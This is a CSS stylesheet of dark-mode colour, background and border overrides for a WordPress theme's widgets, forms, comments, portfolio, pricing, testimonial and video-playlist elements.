body.pcdm-enable.pcdark-mode .penci-post-slider-style-3 .penci-widget-slide-detail .slide-item-date {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .widget-social a i {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .widget-social a:hover i {
    color: var(--pctext-cl);
    border-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .widget-social.show-text a:hover span {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .widget-social.remove-circle a:hover i {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .quote-widget > i {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .penci-pinterest-widget-container .pin_link a {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .penci-promo-item {
    background-color: var(--pcbg-l-cl);
}
body.pcdm-enable.pcdark-mode .penci-promo-text h4 {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .mc4wp-form input[type="submit"] {
    color: var(--pcl-cl);
}
body.pcdm-enable.pcdark-mode .mc4wp-form input[type="submit"]:hover {
    color: var(--pclh-cl);
}
body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form .wpforms-field-label {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=submit],
body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form button[type=submit],
body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form .wpforms-page-button {
    color: var(--pcl-cl);
}
body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=submit]:hover,
body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form button[type=submit]:hover,
body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form .wpforms-page-button:hover,
body.pcdm-enable.pcdark-mode .mc4wp-form input[type="submit"]:hover {
    color: var(--pclh-cl);
}
body.pcdm-enable.pcdark-mode .mc4wp-response {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .mc4wp-response p {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .footer-instagram h4.footer-instagram-title > span:before {
    color: inherit;
}
body.pcdm-enable.pcdark-mode form#commentform > div.penci-gdpr-message {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .thecomment .comment-text span.author,
body.pcdm-enable.pcdark-mode .thecomment .comment-text span.author a {
    color: var(--pcl-cl);
}
body.pcdm-enable.pcdark-mode .thecomment .comment-text > em {
    color: orange;
}
body.pcdm-enable.pcdark-mode .thecomment .comment-text > em i {
    color: #f3bd00;
}
body.pcdm-enable.pcdark-mode .post-comments span.reply a {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .post-comments span.reply a:hover {
    color: var(--pclh-cl);
}
body.pcdm-enable.pcdark-mode #respond h3 {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode #respond h3 a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #respond h3 small a {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode #respond h3 small a:hover {
    color: var(--pclh-cl);
}
body.pcdm-enable.pcdark-mode form#commentform p.mc4wp-checkbox label,
body.pcdm-enable.pcdark-mode form#commentform p.comment-subscription-form label {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode #respond label,
body.pcdm-enable.pcdark-mode .wpcf7 label {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode #respond .comment-form label {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .penci-login-register textarea,
body.pcdm-enable.pcdark-mode #respond textarea,
body.pcdm-enable.pcdark-mode .wpcf7 textarea {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-login-register input[type="submit"],
body.pcdm-enable.pcdark-mode #respond #submit,
body.pcdm-enable.pcdark-mode .wpcf7 input[type="submit"],
body.pcdm-enable.pcdark-mode .widget_wysija input[type="submit"] {
    color: var(--pcl-cl);
}
body.pcdm-enable.pcdark-mode .penci-login-register input[type="submit"]:hover,
body.pcdm-enable.pcdark-mode #respond #submit:hover,
body.pcdm-enable.pcdark-mode .wpcf7 input[type="submit"]:hover,
body.pcdm-enable.pcdark-mode .widget_wysija input[type="submit"]:hover {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .contact-form input[type=submit] {
    color: var(--pcl-cl);
}
body.pcdm-enable.pcdark-mode .penci-button,
body.pcdm-enable.pcdark-mode .widget input[type="submit"],
body.pcdm-enable.pcdark-mode .widget button[type="submit"] {
    background-color: var(--pcbg-l-cl);
}
body.pcdm-enable.pcdark-mode .penci-button,
body.pcdm-enable.pcdark-mode .widget input[type="submit"]:hover,
body.pcdm-enable.pcdark-mode .widget button[type="submit"]:hover {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode form#commentform > .comment-form-cookies-consent {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .widget_block.widget_search .wp-block-search__no-button .wp-block-search__inside-wrapper:before {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .archive-box span,
body.pcdm-enable.pcdark-mode .archive-box h1 {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .nothing span {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb span,
body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb span a,
body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb a,
body.pcdm-enable.pcdark-mode .container.penci-breadcrumb span,
body.pcdm-enable.pcdark-mode .container.penci-breadcrumb a,
body.pcdm-enable.pcdark-mode .container.penci-breadcrumb span a {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb span a:hover,
body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb a:hover,
body.pcdm-enable.pcdark-mode .container.penci-breadcrumb a:hover,
body.pcdm-enable.pcdark-mode .container.penci-breadcrumb span a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb span.separator,
body.pcdm-enable.pcdark-mode .container.penci-breadcrumb span.separator,
body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb i,
body.pcdm-enable.pcdark-mode .container.penci-breadcrumb i {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .penci-featured-caption.penci-fixed-caption.penci-caption-relative a {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .post-entry pre {
    background-color: var(--pcbg-l-cl);
    color: inherit;
}
body.pcdm-enable.pcdark-mode .post-entry code {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .gallery .gallery-caption {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .penci-post-gallery-container.single-slider figure p,
body.pcdm-enable.pcdark-mode .post-image .penci-owl-carousel figure p {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-post-gallery-container.masonry .item-gallery-masonry .caption {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-tweets-widget-content .icon-tweets {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-tweets-widget-content .tweet-text {
    color: var(--pcl-cl);
}
body.pcdm-enable.pcdark-mode .penci-tweets-widget-content .tweet-intents a {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-tweets-widget-content .tweet-intents span:after {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-header-signup-form .mc4wp-form {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-header-signup-form h4.header-signup-form {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-header-signup-form .mc4wp-form-fields > p,
body.pcdm-enable.pcdark-mode .penci-header-signup-form form > p {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-portfolio-thumbnail .penci-image-placeholder {
    background-color: var(--pcbg-l-cl);
}
body.pcdm-enable.pcdark-mode .post-entry .penci-portfolio-filter ul li a,
body.pcdm-enable.pcdark-mode .penci-portfolio-filter ul li a {
    color: var(--pcl-cl);
}
body.pcdm-enable.pcdark-mode .post-entry .penci-portfolio-filter ul li a:hover,
body.pcdm-enable.pcdark-mode .post-entry .penci-portfolio-filter ul li.active a,
body.pcdm-enable.pcdark-mode .penci-portfolio-filter ul li a:hover,
body.pcdm-enable.pcdark-mode .penci-portfolio-filter ul li.active a {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .project-pagination .next-post a:after {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .project-pagination .prev-post a:before {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .penci-pfl-ajaxdot {
    background-color: var(--pcbg-l-cl);
}
body.pcdm-enable.pcdark-mode .portfolio-share-box .list-posts-share a {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .portfolio-share-box .list-posts-share a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .portfolio-share-box.style-2 .list-posts-share a,
body.pcdm-enable.pcdark-mode .portfolio-share-box.style-3 .list-posts-share a,
body.pcdm-enable.pcdark-mode .portfolio-share-box.style-4 .list-posts-share a {
    color: black;
}
body.pcdm-enable.pcdark-mode .portfolio-share-box.style-2 .list-posts-share a:hover,
body.pcdm-enable.pcdark-mode .portfolio-share-box.style-3 .list-posts-share a,
body.pcdm-enable.pcdark-mode .portfolio-share-box.style-3 .list-posts-share a:hover,
body.pcdm-enable.pcdark-mode .portfolio-share-box.style-4 .list-posts-share a:hover {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .portfolio-share-box.style-4 .list-posts-share a {
    background-color: #eee;
    border-color: #eee;
}
body.pcdm-enable.pcdark-mode .portfolio-share-box.style-4 .list-posts-share a:hover {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .portfolio-releated-area .item-related .portfolio-cat a {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .portfolio-releated-area .item-related .portfolio-cat a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-review-metas .penci-review-meta {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .penci-review-metas .penci-review-meta i {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .penci-review-metas .penci-review-btnbuy {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-review-metas .penci-review-btnbuy:hover {
    color: var(--pctext-cl);
    border-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-review-container.penci-review-count h4 span,
body.pcdm-enable.pcdark-mode .penci-review-container.penci-review-count h4 a {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .penci-review .penci-review-good ul li:before {
    color: #22b162;
}
body.pcdm-enable.pcdark-mode .penci-review .penci-review-bad ul li:before {
    color: #e03030;
}
body.pcdm-enable.pcdark-mode .penci-review-score-total {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-chart-text {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .bbp-breadcrumb span,
body.pcdm-enable.pcdark-mode .bbp-breadcrumb a {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .bbp-breadcrumb .bbp-breadcrumb-sep {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .widget_display_stats dd {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .widget_text .textwidget blockquote:before {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .penci-vernav-toggle i {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode form.pc-searchform.penci-hbg-search-form input.search-input:hover,
body.pcdm-enable.pcdark-mode form.pc-searchform.penci-hbg-search-form input.search-input:focus {
    border-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode form.pc-searchform.penci-hbg-search-form i {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode #sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input:hover,
body.pcdm-enable.pcdark-mode #sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input:focus {
    border-color: var(--pcbg-l-cl);
}
body.pcdm-enable.pcdark-mode .post-entry .wp-block-cover .wp-block-cover-text a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .post-entry blockquote.wp-block-quote p,
body.pcdm-enable.pcdark-mode .wpb_text_column blockquote.wp-block-quote p {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .post-entry blockquote.wp-block-quote cite,
body.pcdm-enable.pcdark-mode .wpb_text_column blockquote.wp-block-quote cite {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .post-entry .wp-block-file a,
body.pcdm-enable.pcdark-mode .container-single .post-entry .wp-block-file a {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .post-entry .wp-block-pullquote blockquote p {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .post-entry .wp-block-pullquote blockquote cite {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .post-entry a.has-white-color,
body.pcdm-enable.pcdark-mode .container-single .post-entry a.has-white-color,
body.pcdm-enable.pcdark-mode .post-entry a.wp-block-button__link,
body.pcdm-enable.pcdark-mode .container-single .post-entry a.wp-block-button__link {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .post-entry a.has-black-color,
body.pcdm-enable.pcdark-mode .container-single .post-entry a.has-black-color {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .post-entry a.has-vivid-purple-color,
body.pcdm-enable.pcdark-mode .container-single .post-entry a.has-vivid-purple-color {
    color: #9b51e0;
}
body.pcdm-enable.pcdark-mode .post-entry .wp-block-social-links:not(.is-style-logos-only) .wp-social-link a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .wp-block-separator.is-style-dots:before {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .wp-block-categories .category-item-count {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-wrap-gprd-law {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-gprd-law {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .penci-gprd-law p {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .penci-gprd-law .penci-gprd-accept,
body.pcdm-enable.pcdark-mode .penci-gprd-law .penci-gprd-more {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .penci-gprd-law .penci-gprd-accept {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-wrap-gprd-law .penci-gdrd-show {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .penci-missing-settings {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .penci-missing-settings span {
    background-color: red;
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-fancy-heading.penci-block-vc {
    background-color: transparent;
}
body.pcdm-enable.pcdark-mode .penci-fancy-heading .penci-heading-content p {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-fancy-heading .penci-heading-title,
body.pcdm-enable.pcdark-mode .penci-fancy-heading .inner-tit {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .penci-dmcheck > .elementor-widget-wrap {
    position: relative;
}
body.pcdm-enable.pcdark-mode .elementor-element .penci-ctslide-bg:before,
body.pcdm-enable.pcdark-mode .elementor-section.penci-dmcheck.penci-elbg-img:before,
body.pcdm-enable.pcdark-mode .penci-dmcheck.penci-elbg-img.elementor-column > .elementor-widget-wrap:before {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    bottom: 0;
    right: 0;
    z-index: 1;
    background-color: rgba(55, 55, 55, 0.75);
}
body.pcdm-enable.pcdark-mode .elementor-element .penci-ctslider-content,
body.pcdm-enable.pcdark-mode .elementor-element .penci-ctslider-content *,
body.pcdm-enable.pcdark-mode .penci-dmcheck .elementor-widget-wrap > div:not(.elementor-background-overlay) {
    position: relative;
    z-index: 11;
}
body.pcdm-enable.pcdark-mode .penci-dmcheck.penci-elbg-img .elementor-widget-wrap > div:not(.elementor-widget-penci-big-grid) * {
    color: var(--pctext-cl);
    border-color: var(--pctext-cl) !important;
}
body.pcdm-enable.pcdark-mode .elementor-widget-wrap .pcsl-itemin {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .penci-dmcheck.penci-elbg-img .pcbg-bgoverlaytext.active-overlay,
body.pcdm-enable.pcdark-mode .penci-dmcheck.penci-elbg-img .penci-biggrid .penci-bgitin,
body.pcdm-enable.pcdark-mode .penci-dmcheck.penci-elbg-img .elementor-widget-wrap .pcsl-itemin {
    background-color: transparent !important;
}
body.pcdm-enable.pcdark-mode .penci-separator .penci-sep_line {
    border-color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-separator .penci-heading-icon {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-icon {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-icon:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-view-stacked .penci-icon {
    background-color: var(--pcbg-l-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-view-stacked .penci-icon a {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .penci-view-framed .penci-icon {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-info-box .penci-ibox-title {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-info-box .penci-ibox-content {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .penci-info-box .penci-ibox-stit {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .penci-info-box .penci-ibox-readmore a,
body.pcdm-enable.pcdark-mode .penci-media-carousels .penci-media-rmbtn a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-view-stacked .penci-animation-custom-2:hover .penci-ibox-icon,
body.pcdm-enable.pcdark-mode .penci-view-stacked .penci-animation-custom-1:hover .penci-ibox-icon {
    background-color: var(--pcbg-l-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-view-stacked .penci-animation-custom-5 .penci-ibox-icon:hover,
body.pcdm-enable.pcdark-mode .penci-view-stacked .penci-animation-custom-4 .penci-ibox-icon:hover {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-view-framed .penci-animation-custom-1 .penci-ibox-icon:hover {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-countdown-holding span {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .penci-countdown-amount {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-countdown-period {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-countdown-s2 .penci-span-inner {
    border-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-countdown-s3 .penci-span-inner {
    border-color: var(--pcbg-l-cl);
    background-color: var(--pcbg-l-cl);
}
body.pcdm-enable.pcdark-mode .penci-cup-number-wrapper {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-image-gallery .caption {
    background-color: var(--pctext-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-gallery-item i {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-user-logged-in .penci-user-action-links a {
    color: var(--pcl-cl);
}
body.pcdm-enable.pcdark-mode .penci-user-logged-in .penci-user-action-links a:hover {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-mailchimp-block .mc4wp-form input[type="submit"]:not(:hover) {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-working-hours .penci-workingh-lists li {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-working-hours .penci-workingh-lists .penci-workingh-icon,
body.pcdm-enable.pcdark-mode .penci-working-hours .penci-workingh-lists .penci-listitem-title,
body.pcdm-enable.pcdark-mode .penci-working-hours .penci-workingh-lists .penci-listitem-hours {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-progress-bar .penci-probar-items .penci-probar-text {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-progress-bar .penci-review-process {
    background-color: var(--pcbg-l-cl);
}
body.pcdm-enable.pcdark-mode .penci-progress-bar .penci-review-process span {
    background-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .pcsoc-wrapper .pcsoc-item {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-team_member_pos {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .pcsc-st-filled .penci-social-item i {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .pcsc-st-bordered .penci-social-item i {
    border-color: var(--pcborder-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-teammb-s2 .penci-teammb-inner {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .penci-teammb-s3 .penci-teammb-inner {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .penci-teammb-s4 .penci-teammb-inner {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .penci-teammb-s4 .penci-team_member_desc {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-teammb-s4 .penci-team_member_pos,
body.pcdm-enable.pcdark-mode .penci-teammb-s4 .penci-team_member_name,
body.pcdm-enable.pcdark-mode .penci-teammb-s4 .penci-social-wrap .penci-social-item {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-teammb-s4 .penci-social-wrap .penci-social-item:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-testi-s1 .penci-testimonail .penci-testi-blockquote {
    color: var(--pctext-cl);
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .penci-testi-s1 .penci-testimonail .penci-testi-bq-icon:before {
    background-color: var(--pcaccent-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-testi-company {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .penci-testi-company .testiname {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-testi-s2 .penci-testimonail .penci-testi-blockquote {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .penci-testi-s2 .penci-testimonail .penci-testi-bq-icon:before {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-testi-s3 .penci-testimonail .penci-testi-bq-icon:before {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-testi-s3 .penci-testimonail .penci-testi-blockquote {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-testi-s3 .penci-testi-name {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-testi-s5 .penci-testi-bq-icon:before,
body.pcdm-enable.pcdark-mode .penci-testi-s4 .penci-testi-bq-icon:before {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-testi-s5 .penci-testi-blockquote:after {
    border-color: #f5f5f5 transparent transparent transparent;
}
body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-playlist-title {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-playlist-title a {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-playlist-title h2 {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-video-play {
    background-color: #111;
}
body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-custom-scroll::-webkit-scrollbar-thumb {
    background-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-custom-scroll::-webkit-scrollbar-corner {
    background-color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-video-nav .playlist-panel-item {
    color: #111;
}
body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-video-playlist-item .penci-video-play-icon {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-video-playlist-item .penci-video-title {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-video-playlist-item .penci-video-title:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-video-playlist-item .penci-video-duration {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .pencisc-column-2.penci-video_playlist .penci-video-nav .playlist-panel-item,
body.pcdm-enable.pcdark-mode .pencisc-column-1.penci-video_playlist .penci-video-nav .playlist-panel-item {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-media-carousels .penci-image-holder {
    background-color: transparent;
}
body.pcdm-enable.pcdark-mode .penci-media-carousels .penci-media-stit {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .penci-media-rmbtn i,
body.pcdm-enable.pcdark-mode .penci-media-rmbtn svg {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .penci-weather-widget {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .penci-weather-degrees-wrap i {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-weather-week:before {
    background-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-pricing-item {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .penci-pricing_featured .penci-pricing-ribbon {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-pricing_featured .penci-pricing-ribbon-text {
    background-color: #ff6618;
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-pricing-item.penci-pricing-s2 {
    background-color: var(--pcbg-l-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-pricing-item .penci-pricing-icon i {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .penci-pricing-item .penci-pricing-subtitle {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-pricing-item .penci-pricing-title,
body.pcdm-enable.pcdark-mode .penci-pricing-item .penci-price-unit {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .penci-pricing-item .penci-pricing-btn {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-pricing-btn-borders .penci-pricing-btn {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-pricing-btn-borders .penci-pricing-btn:hover {
    border-color: var(--pcaccent-cl);
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .pcbtn-wrapper a.pcbtn {
    color: var(--pctext-cl) !important;
    background-color: var(--pcaccent-cl) !important;
}
body.pcdm-enable.pcdark-mode .pcbtn-wrapper a.pcbtn .pcbtn-wrapperin {
    background-color: inherit;
}
body.pcdm-enable.pcdark-mode .penci-slides-wrap .pencislider-caption,
body.pcdm-enable.pcdark-mode .penci-slides-wrap .pencislider-title {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-slider_btnwrap .pencislider-btn {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-slider_btnwrap .pencislider-btn:hover {
    border-color: var(--pcaccent-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-page-header-wrap {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .penci-page-header-wrap .penci-page-header-title {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .penci-page-header-wrap .penci-page-header-title:before {
    color: inherit;
}
@media only screen and (max-width: 960px) {
    body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-video-nav .playlist-panel-item {
        color: var(--pctext-cl);
    }
}
body.pcdm-enable.pcdark-mode .menu-item-has-label .menu-label {
    color: var(--pctext-cl);
    background-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .menu-item-has-label .menu-label.label-style-1:before,
body.pcdm-enable.pcdark-mode .menu-item-has-label .menu-label.label-style-2:before {
    border-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .menu-item-has-label .menu-label.label-style-4:before {
    border-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-dropdown-menu:before {
    background-color: inherit;
}
body.pcdm-enable.pcdark-mode .button-popup-content,
body.pcdm-enable.pcdark-mode .penci-popup-content,
body.pcdm-enable.pcdark-mode .penci-age-verify {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .penci-age-verify .penci-age-verify-buttons .button {
    background-color: var(--pcaccent-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-age-verify .penci-age-verify-buttons .button.penci-age-verify-forbidden {
    color: var(--pctext-cl);
    background-color: var(--pcbg-l-cl);
}
body.pcdm-enable.pcdark-mode .pc-fho-wrap .mp-link:not(.penci-lazy) {
    background-color: rgba(0, 0, 0, 0.5);
}
body.pcdm-enable.pcdark-mode .pc-fho-wrap .mp-link:before {
    background-color: var(--obg);
}
